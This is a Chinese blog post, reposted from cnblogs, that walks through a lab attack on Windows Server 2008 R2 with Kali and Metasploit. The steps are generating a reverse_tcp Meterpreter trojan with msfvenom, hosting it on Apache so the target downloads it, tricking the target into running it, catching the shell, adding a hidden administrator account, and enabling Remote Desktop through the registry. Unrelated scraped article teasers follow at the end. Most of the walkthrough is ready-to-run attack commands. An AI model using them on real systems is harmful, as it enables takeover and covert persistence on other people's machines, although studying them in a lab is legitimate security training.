本文转自:https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html

一、kali及Metasploit

  kali基于debin的数字取证系统,上面集成很多渗透测试工具,其前身是BT5 R3(BrackTrack),在信息搜集方面发挥很大作用。

  Metasploit是一个综合利用工具,极大提高了攻击者的渗透效率;使用Ruby开发;使用非常方便,进入该工具的方式:在终端输入msfconsole;MSF依赖于Postgresql数据库,在使用MSF之前要开启该数据库

二、使用kali中的Metasploit生成木马,控制Windows系统

攻击者:kali 2019.3

靶机:Windows Server 2008 R2

1.首先要保证两个系统之间可以互相ping通

如不能ping通的话

(1)先检查windows和kali的防火墙关闭没有

windows防火墙关闭:系统和安全->Windows防火墙->关闭

kali防火墙关闭:安装:apt-get install ufw

关闭:ufw disable

开启:ufw enable

(2)如果还是不行的话就把虚拟机的网络适配器改为桥接模式

虚拟机->设置->网络适配器->桥接模式

2.生产木马,在攻击者终端操作

1 msfvenom -p windows/meterpreter/reverse_tcp lhost=kali的ip lport=5555 -f exe >/root/Desktop/evilshell.exe
2   -p 参数后跟上payload(载体),攻击成功之后,要做什么事情
3   lhost 后跟监听的IP
4   lport 后跟监听的端口
5   -f 后跟要生成后门文件的类型

  • 如果安装的是中文的kali,就把Desktop换成桌面

3.将木马文件evilshell.exe拷贝到/var/www/html,把html目录下的其余文件删除,并开启apache服务(这一部是为了提供一个可以把木马文件下载的平台)

1 cp evilshell.exe /var/www/html   拷贝木马文件到/var/www/html
2 rm -f index.html 删除index.html
3 rm -f insex.nginx-debian.html 删除index.html

4.在靶机上打开浏览器,访问站点http://kali的ip,并下载木马文件,我这里下载到了桌面上,方便操作

5.开启postgresql服务,postgresql的端口号为5432,开启MSF(msfconsole的缩写)

1 /etc/init.d/postgresql status  查看postgresql服务的状态
2 /etc/init.d/postgresql start 开启postgresql服务
3 netstat -ntulp 查看端口
4 msfconsole 开启MSF

  • metasploit v5.0.41-dev   版本
  • exploits  开发利用,用来攻击某些服务、平台、系统等用到的工具
  • payloads  攻击载荷载体,攻击成功之后要操作什么,通过payloads进行操作

6.加载exploits和payloads,查看该模块需要设置的参数

1 msf5>use exploit/multi/handler 选择exploits
2 msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 设置payload
3 show options 查看所需设置的参数
  • 注:这里的路径要与上面生产木马的payload一致

7.根据上图的需求设置lhost和lport,这里的lhost和lport要和上面生产木马的命令中的lhost和lport一致

1 set lhost kali的IP  设置监听地址
2 set lport 5555 设置监听端口
3 run 或者exploit 运行攻击模块

8.在靶机中双击evilshell.exe(这一步是在靶机中诱导用户点击木马程序,也叫社会工程学攻击),这样在攻击者这里就可以得到靶机的shell(meterpreter)

1 shell  获取目标主机shell
2 ipconfig 测试是否能用,查看靶机的IP地址

  • windows环境下中文乱码的解决办法:chcp 437

9.在靶机里加入一个隐藏用户(隐藏用户后面加$),提升隐藏用户的权限,方便我们后续的操作测试

1 net user host$ /add  添加隐藏用户host$
2 net user 查看用户
3 net user host$ 密码 为host$用户设置密码
4 net localgroup administrators host$ /add 将host$用户加入到管理员组中,从而提升权限
5 net user host$ 查看host$用户信息

10.新开一个终端,使用远程桌面连接的靶机,进行操作

rdesktop 靶机的IP  使用远程桌面连接靶机

  • 如上图所示,连接失败

解决方法:

  方法1:打开上一个终端,开启2003终端服务,查看远程协助的端口是否开启

1 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f  开启终端服务
2 netstat -ano|finder 3389 查看3389端口

  方法2:打开控制面版-->系统-->远程设置,操作如图所示

  • 重新连接靶机,连接成功,进入以下界面,是用隐藏用户登录靶机

11.打开靶机的dos命令窗口,若无法在开始中找到dos命令窗口,则按键盘上的开始键+R,在打开的运行中输入cmd,即开启dos命令窗口,添加一个新用户进行测试,添加成功证明渗透成功!

  • 如图所示,拒绝访问

解决方法:在路径中C:\Windows\system32查找cmd.exe,右键cmd.exe,选择以管理员身份运行

(也就是用管理员身份运行dos窗口)

使用Kali中的Metasploit生成木马控制Windows系统 (第九天 9.20)的更多相关文章

  1. 使用Kali中的Metasploit生成木马控制Windows系统

    一.概念:Kali基于debin的数字取证系统,上面集成了很多渗透测试工具,其前身是BT5 R3(BtackTrack). 其中Metasploit是一个综合利用工具,极大的提高了攻击者的渗透效率,使 ...

  2. Kali环境使用Metasploit生成木马入侵安卓手机

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计, ...

  3. C#实现控制Windows系统关机、重启和注销的方法:

    shutdown命令的参数: shutdown.exe -s:关机shutdown.exe -r:关机并重启shutdown.exe -l:注销当前用户 shutdown.exe -s -t 时间:设 ...

  4. C#实现控制Windows系统关机、重启和注销的方法

    shutdown命令的参数: shutdown.exe -s:关机shutdown.exe -r:关机并重启shutdown.exe -l:注销当前用户 shutdown.exe -s -t 时间:设 ...

  5. Metasploit生成木马入侵安卓手机

    开始 首先你需要一个Metasploit(废话) Linux: sudo apt install metasploit-framework Termux: 看这里 指令 sudo su //生成木马文 ...

  6. 使用kali中的Metasploit通过windows7的永恒之蓝漏洞攻击并控制win7系统(9.27 第十三天)

    1.开启postgresql数据库 2.msfconsole 进入MSF中 3.search 17-010 搜索cve17-010相关的exp auxiliary/scanner/smb/smb_ms ...

  7. 在.NET下使用C# 控制Windows系统音量

    C#开发Windows应用程序中经常需要去控制系统的音量,分两种方式: 1.使用Win Api控制 2.使用C++ dll控制 Win Api控制: 使用user32.dll和winmm.dll都可以 ...

  8. 使用Metasploit渗透攻击windows系统(一)

    攻击机:kaili ip:192.168.80.157 目标机:win7 IP:192.168.80.158 这里用两种方法去创建meterpreter会话: 1)利用kali中的msfvenom生成 ...

  9. metasploit、msfvenom生成木马入侵电脑及手机

    简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and ...

随机推荐

  1. LinkedList学习:API调用、栈、队列实现

    参考的博客 Java 集合系列05之 LinkedList详细介绍(源码解析)和使用示例 如果你想详细的区了解容器知识以及本文讲的LinkedList,我推荐你去看这篇博客和这个做个的容器系列 Lin ...

  2. 基于TF-IDF的推荐

    仅作学习使用 基于TF-IDF的推荐: 将文档分词 对于每个term,计算词频TF和逆文本指数IDF,形成term的权重 计算项目文档和用户偏好文档的相似度 参考: https://blog.csdn ...

  3. main.js index.html与app.vue三者关系详解

    main.js index.html与app.vue三者关系详解 2019年01月23日 11:12:15 Pecodo 阅读数 186   main.js与index.html是nodejs的项目启 ...

  4. Java多线程信号量同步类CountDownLatch与Semaphore

    信号量同步是指在不同线程之间,通过传递同步信号量来协调线程执行的先后次序.CountDownLatch是基于时间维度的Semaphore则是基于信号维度的. 1:基于执行时间的同步类CountDown ...

  5. 16 SQL Mode

    1.SQL Mode解决的问题:     a.通过设置SQL Mode , 可以完成不同严格程度的数据校验,有效地保障数据准确性.     b.通过设置SQL Mode 为ANSI模式,来保证大多数S ...

  6. JavaScript 标识符,关键字和保留字

    JavaScript 标识符,关键字和保留字 标识符 标识符(Identifier)就是名称的专业术语.JavaScript 标识符包括变量名.函数名.参数名和属性名. 合法的标识符应该注意以下强制规 ...

  7. Docker 学习之镜像导入导出及推送阿里云服务器(三)

    在前面两节里主要就是记录一些docker的基本的操作,包括搜索镜像,拉取镜像,根据镜像创建容器等等,在这一节主要就是记录Docker对于镜像文件的导入导出,及推送到阿里云再从阿里云获取镜像. 一.镜像 ...

  8. Day4 - G - 确定比赛名次 HDU - 1285

    有N个比赛队(1<=N<=500),编号依次为1,2,3,....,N进行比赛,比赛结束后,裁判委员会要将所有参赛队伍从前往后依次排名,但现在裁判委员会不能直接获得每个队的比赛成绩,只知道 ...

  9. Hibernate(十)--spring整合hibernate

    结构: Spring和Hibernate整合借助于HibernateTemplate applicationContext.xml <?xml version="1.0" e ...

  10. python面试总结知识点

    1.python中is和==的区别 Python中对象包含的三个基本要素,分别是:id(身份标识) .type(数据类型)和value(值). ‘==’比较的是value值 ‘is’比较的是id 2. ...